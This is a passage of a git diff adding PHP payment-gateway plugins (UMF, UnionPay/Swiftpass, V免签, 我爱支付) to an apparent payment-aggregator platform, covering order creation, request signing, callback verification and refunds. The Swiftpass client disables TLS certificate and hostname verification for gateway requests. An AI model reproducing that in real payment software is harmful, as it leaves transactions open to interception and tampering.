//支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return self::wxjspay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码支付 + static private function qrcode($type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/UmfService.class.php"); + + $params = [ + 'service' => 'active_scancode_order_new', + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'goods_inf' => $ordername, + 'order_id' => TRADE_NO, + 'mer_date' => date("Ymd"), + 'amount' => strval($order['realmoney']*100), + 'user_ip' => $clientip, + 'scancode_type' => $type, + 'mer_flag' => 'KMER', + 'consumer_id' => str_replace('.','',$clientip) + ]; + + $client = new UmfService($channel['appid']); + $result = $client->submit($params); + + if (isset($result['ret_code']) && $result['ret_code'] == '0000') { + return base64_decode($result['bank_payurl']); + } elseif(isset($result['ret_code'])) { + throw new Exception('['.$result['ret_code'].']'.$result['ret_msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::qrcode('ALIPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $code_url = self::qrcode('WECHAT'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/UmfService.class.php"); + + $params = [ + 'service' => 'publicnumber_and_verticalcode', + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'ret_url' => $siteurl . 'pay/return/' . TRADE_NO . '/', + 'goods_inf' => $ordername, + 'order_id' => TRADE_NO, + 'mer_date' => date("Ymd"), + 'amount' => strval($order['realmoney']*100), + 'user_ip' => $clientip, + 'is_public_number' => 'Y', + ]; + + $client = new UmfService($channel['appid']); + $url = $client->getpayurl($params); + + return ['type'=>'jump','url'=>$url]; + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode('UNION'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/UmfService.class.php"); + + $client = new UmfService($channel['appid']); + $verify_result = $client->verifySign($_GET); + + $params = [ + 'order_id' => $_GET['order_id'], + 'mer_date' => $_GET['mer_date'], + ]; + + if($verify_result) {//验证成功 + + if ($_GET['trade_state'] == 'TRADE_SUCCESS') { + if($_GET['order_id'] == TRADE_NO){ + processNotify($order, $_GET['trade_no'], $_GET['mer_cust_id']); + } + }else{ + $params['ret_code'] = '0001'; + $params['ret_msg'] = 'trade_state'.$_GET['trade_state']; + } + } + else { + //验证失败 + $params['ret_code'] = '0001'; + $params['ret_msg'] = 'sign fail'; + } + + $response_str = $client->responseUMFstr($params); + + $html = ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + + return ['type'=>'html','data'=>$html]; + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/UmfService.class.php"); + + $params = [ + 'service' => 'mer_refund', + 'refund_no' => $order['refund_no'], + 'order_id' => $order['trade_no'], + 'mer_date' => substr($order['trade_no'], 0, 8), + 'org_amount' => strval($order['realmoney']*100), + 'refund_amount' => strval($order['refundmoney']*100), + ]; + + try{ + $client = new UmfService($channel['appid']); + $result = $client->submit($params); + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + + if (isset($result['ret_code']) && $result['ret_code'] == '0000') { + return ['code'=>0, 'trade_no'=>$result['order_id'], 'refund_fee'=>$result['refund_amt']]; + } elseif(isset($result['ret_code'])) { + return ['code'=>-1, 'msg'=>'['.$result['ret_code'].']'.$result['ret_msg']]; + }else{ + return ['code'=>-1, 'msg'=>'未知错误']; + } + } +} \ No newline at end of file diff --git a/plugins/unionpay/inc/SwiftpassClient.class.php b/plugins/unionpay/inc/SwiftpassClient.class.php new file mode 100644 index 0000000..7aec2ef --- /dev/null +++ b/plugins/unionpay/inc/SwiftpassClient.class.php @@ -0,0 +1,292 @@ +signType = $config['sign_type']; + if (empty($config['mchid'])) { + throw new \InvalidArgumentException("商户号不能为空"); + } + $this->mchId = $config['mchid']; + if ($this->signType == 'MD5') { + if (empty($config['key'])) { + throw new \InvalidArgumentException("商户密钥不能为空"); + } + $this->key = $config['key']; + } + if (substr($this->signType, 0, 3) == 'RSA') { + if (empty($config['rsa_private_key']) || empty($config['rsa_public_key'])) { + throw new \InvalidArgumentException("商户私钥/平台公钥不能为空"); + } + $this->rsaPrivateKey = $config['rsa_private_key']; + $this->rsaPublicKey = $config['rsa_public_key']; + } + if (!empty($config['gateway_url'])) { + $this->gatewayUrl = $config['gateway_url']; + } + } + + /** + * 发起请求并解析返回结果 + */ + public function requestApi($params) + { + if (empty($params['service'])) { + throw new \InvalidArgumentException("service参数不能为空"); + } + $publicParams = [ + 'mch_id' => $this->mchId, + 'version' => $this->version, + 'sign_type' => $this->signType, + 'nonce_str' => $this->getNonceStr() + ]; + $params = array_merge($publicParams, $params); + $params['sign'] = $this->makeSign($params); + + $xml = $this->array2Xml($params); + $response = $this->curl($this->gatewayUrl, $xml); + $result = $this->xml2array($response); + if (isset($result['status']) && $result['status'] == '0') { + if (!$this->verifySign($result)) { + throw new Exception('返回数据签名校验失败'); + } + if (isset($result['result_code']) && $result['result_code'] == '0') { + return $result; + } else { + throw new \Exception('['.$result['err_code'].']'.$result['err_msg']); + } + } elseif(isset($result['message'])) { + throw new \Exception($result['message']); + } else { + throw new \Exception('返回数据解析失败'); + } + } + + /** + * 支付结果通知 + * @return bool|mixed + */ + public function notify() + { + $xml = file_get_contents("php://input"); + if (empty($xml)) { + throw new \Exception('no_data'); + } + $result = $this->xml2array($xml); + if (!$result) { + throw new \Exception('xml_error'); + } + if (!$this->verifySign($result)) { + throw new \Exception('sign_error'); + } + return $result; + } + + /** + * 验证签名 + */ + private function verifySign($params) + { + if(!isset($params['sign'])) return false; + $signStr = $this->getSignContent($params); + if (substr($this->signType, 0, 3) == 'RSA') { + return $this->rsaPublicVerify($signStr, $params['sign']); + } else { + $sign = md5($signStr . '&key=' . $this->key); + $sign = strtoupper($sign); + return $params['sign'] === $sign; + } + } + + /** + * 生成签名 + * @param $params + * @return string + */ + private function makeSign($params) + { + $signStr = $this->getSignContent($params); + if (substr($this->signType, 0, 3) == 'RSA') { + $sign = $this->rsaPrivateSign($signStr); + } else { + $sign = md5($signStr . '&key=' . $this->key); + $sign = strtoupper($sign); + } + return $sign; + } + + /** + * 生成待签名字符串 + */ + private function getSignContent($params) + { + ksort($params); + $signStr = ''; + foreach ($params as $k => $v) { + if($k != 'sign' && !$this->isEmpty($v)){ + $signStr .= $k . '=' . $v . '&'; + } + } + $signStr = substr($signStr, 0, -1); + return $signStr; + } + + /** + * 商户RSA私钥签名 + */ + private function rsaPrivateSign($data) + { + $key = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->rsaPrivateKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $privatekey = openssl_get_privatekey($key); + if (!$privatekey) { + throw new \Exception("签名失败,商户RSA私钥错误"); + } + if ($this->signType == 'RSA_1_1') { + openssl_sign($data, $sign, $privatekey); + } else if ($this->signType == 'RSA_1_256') { + openssl_sign($data, $sign, $privatekey, OPENSSL_ALGO_SHA256); + } + return base64_encode($sign); + } + + /** + * 平台公钥验签 + */ + private function rsaPublicVerify($data, $sign) + { + $key = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->rsaPublicKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $publickey = openssl_get_publickey($key); + if (!$publickey) { + throw new \Exception("验签失败,平台RSA公钥错误"); + } + if ($this->signType == 'RSA_1_1') { + $result = openssl_verify($data, base64_decode($sign), $publickey); + } else if ($this->signType == 'RSA_1_256') { + $result = openssl_verify($data, base64_decode($sign), $publickey, OPENSSL_ALGO_SHA256); + } + return $result === 1; + } + + /** + * 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符. + * + * @param string|null $value + * + * @return bool + */ + private function isEmpty($value) + { + return $value === null || trim($value) === ''; + } + + /** + * 产生随机字符串,不长于32位 + * @param int $length + * @return 产生的随机字符串 + */ + private function getNonceStr($length = 32) + { + $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; + $str = ""; + for ($i = 0; $i < $length; $i++) { + $str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); + } + return $str; + } + + /** + * 转为XML数据 + * @param array $data 源数据 + * @return string + */ + private function array2Xml($data) + { + if (!is_array($data)) { + return false; + } + $xml = ''; + foreach ($data as $key => $val) { + $xml .= (is_numeric($val) ? "<{$key}>{$val}" : "<{$key}>"); + } + return $xml . ''; + } + + /** + * 解析XML数据 + * @param string $xml 源数据 + * @return mixed + */ + private function xml2array($xml) + { + if (!$xml) { + return false; + } + if(function_exists('libxml_disable_entity_loader')) { + libxml_disable_entity_loader(true); + } + return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true); + } + + /** + * 以post方式提交xml到对应的接口url + * @param string $url url + * @param string $xml 需要post的xml数据 + * @param int $second url执行超时时间 + * @return string + */ + private function curl($url, $xml, $second = 10) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_TIMEOUT, $second); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); + $data = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception('call http err :'.$errmsg, 0); + } + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode != 200) { + curl_close($ch); + throw new \Exception('call http err httpcode='.$httpStatusCode, $httpStatusCode); + } + curl_close($ch); + return $data; + } +} \ No newline at end of file diff --git a/plugins/unionpay/inc/SwiftpassConfig.php b/plugins/unionpay/inc/SwiftpassConfig.php new file mode 100644 index 0000000..c4bfc7a --- /dev/null +++ b/plugins/unionpay/inc/SwiftpassConfig.php @@ -0,0 +1,15 @@ + $channel['appurl'], + + //签名类型 + 'sign_type' => 'MD5', + + //商户号 + 'mchid' => $channel['appid'], + + //商户MD5密钥 + 'key' => $channel['appkey'], +]; +return $swiftpass_config; \ No newline at end of file diff --git a/plugins/unionpay/unionpay_plugin.php b/plugins/unionpay/unionpay_plugin.php new file mode 100644 index 0000000..50bfef0 --- /dev/null +++ b/plugins/unionpay/unionpay_plugin.php @@ -0,0 +1,372 @@ + 'unionpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '银联前置', //支付插件显示名称 + 'author' => '银联', //支付插件作者 + 'link' => 'http://www.95516.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','qqpay','bank','jdpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户密钥', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '自定义网关URL', + 'type' => 'input', + 'note' => '可不填,默认是https://qra.95516.com/pay/gateway', + ], + 'appswitch' => [ + 'name' => '微信是否支持H5', + 'type' => 'select', + 'options' => [0=>'否',1=>'是'], + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='qqpay'){ + return ['type'=>'jump','url'=>'/pay/qqpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='jdpay'){ + return ['type'=>'jump','url'=>'/pay/jdpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + if ($channel['appwxmp']>0) { + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return self::wxjspay(); + } + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='qqpay'){ + return self::qqpay(); + }elseif($order['typename']=='jdpay'){ + return self::jdpay(); + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码通用 + static private function nativepay(){ + global $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'unified.trade.native', + 'body' => $ordername, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $code_url = $result['code_url']; + if(strpos($code_url,'myun.tenpay.com')){ + $qrcode=explode('&t=',$code_url); + $code_url = 'https://qpay.qq.com/qr/'.$qrcode[1]; + } + return $code_url; + } + + //微信JS支付 + static private function weixinjspay($sub_appid, $sub_openid, $is_minipg = 0){ + global $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'pay.weixin.jspay', + 'is_raw' => '1', + 'is_minipg' => strval($is_minipg), + 'body' => $ordername, + 'sub_appid' => $sub_appid, + 'sub_openid' => $sub_openid, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'device_info' => 'AND_WAP', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $pay_info = $result['pay_info']; + return $pay_info; + } + + //微信H5支付 + static private function weixinh5pay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'pay.weixin.wappay', + 'body' => $ordername, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'device_info' => 'AND_WAP', + 'mch_app_name' => $conf['sitename'], + 'mch_app_id' => $siteurl, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'callback_url' => $siteurl.'pay/return/'.TRADE_NO.'/' + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $pay_info = $result['pay_info']; + return $pay_info; + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::nativepay(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $code_url = self::nativepay(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + $code_url = self::nativepay(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败 '.$ex->getMessage()]; + } + + if(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::nativepay(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //京东扫码支付 + static public function jdpay(){ + try{ + $code_url = self::nativepay(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'京东支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'jdpay_qrcode','url'=>$code_url]; + } + + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxmp']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $pay_info = self::weixinjspay($wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$pay_info, 'redirect_url'=>$redirect_url]]; + }else{ + $code_url = self::nativepay(); + return ['type'=>'jump','url'=>$code_url]; + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + try{ + $pay_info = self::weixinjspay($wxinfo['appid'], $openid, '1'); + }catch(Exception $ex){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败 '.$ex->getMessage()])); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($pay_info, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appswitch']==1){ + try{ + $pay_info = self::weixinh5pay(); + return ['type'=>'jump','url'=>$pay_info]; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + }elseif($channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + try{ + $client = new SwiftpassClient($pay_config); + $result = $client->notify(); + if($result['status'] == '0' && $result['result_code'] == '0'){ + if($result['out_trade_no'] == TRADE_NO && $result['total_fee']==strval($order['realmoney']*100)){ + processNotify($order, $result['transaction_id'], $result['openid']); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'failure']; + } + }catch(Exception $e){ + return ['type'=>'html','data'=>$e->getMessage()]; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'unified.trade.refund', + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'total_fee' => strval($order['realmoney']*100), + 'refund_fee' => strval($order['refundmoney']*100), + 'op_user_id' => $pay_config['mchid'], + ]; + + try{ + $client = new SwiftpassClient($pay_config); + $data = $client->requestApi($params); + $result = ['code'=>0, 'trade_no'=>$data['refund_id'], 'refund_fee'=>$data['refund_fee']]; + }catch(Exception $e){ + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } +} \ No newline at end of file diff --git a/plugins/vmq/vmq_plugin.php b/plugins/vmq/vmq_plugin.php new file mode 100644 index 0000000..82a9fb6 --- /dev/null +++ b/plugins/vmq/vmq_plugin.php @@ -0,0 +1,119 @@ + 'vmq', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => 'V免签', //支付插件显示名称 + 'author' => 'V免签', //支付插件作者 + 'link' => 'https://github.com/szvone/vmqphp', //支付插件作者链接 + 'types' => ['alipay','qqpay','wxpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appurl' => [ + 'name' => '接口地址', + 'type' => 'input', + 'note' => '必须以http://或https://开头,以/结尾', + ], + 'appid' => [ + 'name' => '商户ID', + 'type' => 'input', + 'note' => '如果不需要商户ID,随便填写即可', + ], + 'appkey' => [ + 'name' => '通讯密钥', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + if($order['typename']=='alipay'){ + $paytype='2'; + }elseif($order['typename']=='qqpay'){ + $paytype='4'; + }elseif($order['typename']=='wxpay'){ + $paytype='1'; + }elseif($order['typename']=='bank'){ + $paytype='3'; + } + + $apiurl = $channel['appurl'].'createOrder'; + $data = array( + "mchId" => $channel['appid'], + "payId" => TRADE_NO, + "type" => $paytype, + "price" => $order['realmoney'], + "isHtml" => '1', + "notifyUrl" => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + "returnUrl" => $siteurl.'pay/return/'.TRADE_NO.'/', + ); + + $data["sign"] = md5($data['payId'].$data['type'].$data['price'].$channel['appkey']); + + if (is_https() && substr($apiurl, 0, 7)=='http://') { + $jump_url = $apiurl.'?'.http_build_query($data); + return ['type'=>'jump','url'=>$jump_url]; + }else{ + $html_text = '
    '; + foreach($data as $k => $v) { + $html_text .= "\n"; + } + $html_text .= '
    '; + + return ['type'=>'html','data'=>$html_text]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $payId = $_GET['payId'];//商户订单号 + $type = $_GET['type'];//支付方式 :微信支付为1 支付宝支付为2 中国银联(云闪付)传入3 QQ钱包传入4 + $price = $_GET['price'];//订单金额 + $reallyPrice = $_GET['reallyPrice'];//实际支付金额 + $sign = $_GET['sign'];//校验签名,计算方式 = md5(payId + type + price + reallyPrice + 通讯密钥) + + if(!$payId || !$sign)return ['type'=>'html','data'=>'error_param']; + + $_sign = md5($payId . $type . $price . $reallyPrice . $channel['appkey']); + if ($_sign !== $sign)return ['type'=>'html','data'=>'error_sign']; + + $out_trade_no = daddslashes($payId); + if($out_trade_no == TRADE_NO && round($price,2)==round($order['realmoney'],2)){ + processNotify($order, $out_trade_no); + } + return ['type'=>'html','data'=>'success']; + } + + //同步回调 + static public function return(){ + global $channel, $order; + + $payId = $_GET['payId'];//商户订单号 + $type = $_GET['type'];//支付方式 :微信支付为1 支付宝支付为2 中国银联(云闪付)传入3 QQ钱包传入4 + $price = $_GET['price'];//订单金额 + $reallyPrice = $_GET['reallyPrice'];//实际支付金额 + $sign = $_GET['sign'];//校验签名,计算方式 = md5(payId + type + price + reallyPrice + 通讯密钥) + + if(!$payId || !$sign)return ['type'=>'error','data'=>'参数不完整']; + + $_sign = md5($payId . $type . $price . $reallyPrice . $channel['appkey']); + if ($_sign !== $sign)return ['type'=>'error','data'=>'签名校验失败']; + + $out_trade_no = daddslashes($payId); + if($out_trade_no == TRADE_NO && round($price,2)==round($order['realmoney'],2)){ + processReturn($order, $out_trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + } + +} \ No newline at end of file diff --git a/plugins/woaizf/woaizf_plugin.php b/plugins/woaizf/woaizf_plugin.php new file mode 100644 index 0000000..f839d92 --- /dev/null +++ b/plugins/woaizf/woaizf_plugin.php @@ -0,0 +1,351 @@ + 'woaizf', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '我爱支付', //支付插件显示名称 + 'author' => '我爱支付', //支付插件作者 + 'link' => 'https://www.52zhifu.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','qqpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['alipay','wxpay'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '应用AppID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '应用MD5密钥', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '自定义接口地址', + 'type' => 'input', + 'note' => '可不填,默认是https://payapi.52zhifu.com/', + ], + ], + 'select_wxpay' => [ + '4' => '微信扫码', + '5' => '微信H5', + '6' => '微信公众号', + '7' => '微信小程序', + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static private function make_sign($param, $key){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + $sign = md5($signstr.$key); + return $sign; + } + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && in_array('6',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='qqpay'){ + return ['type'=>'jump','url'=>'/pay/qqpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && in_array('6',$channel['apptype'])){ + return 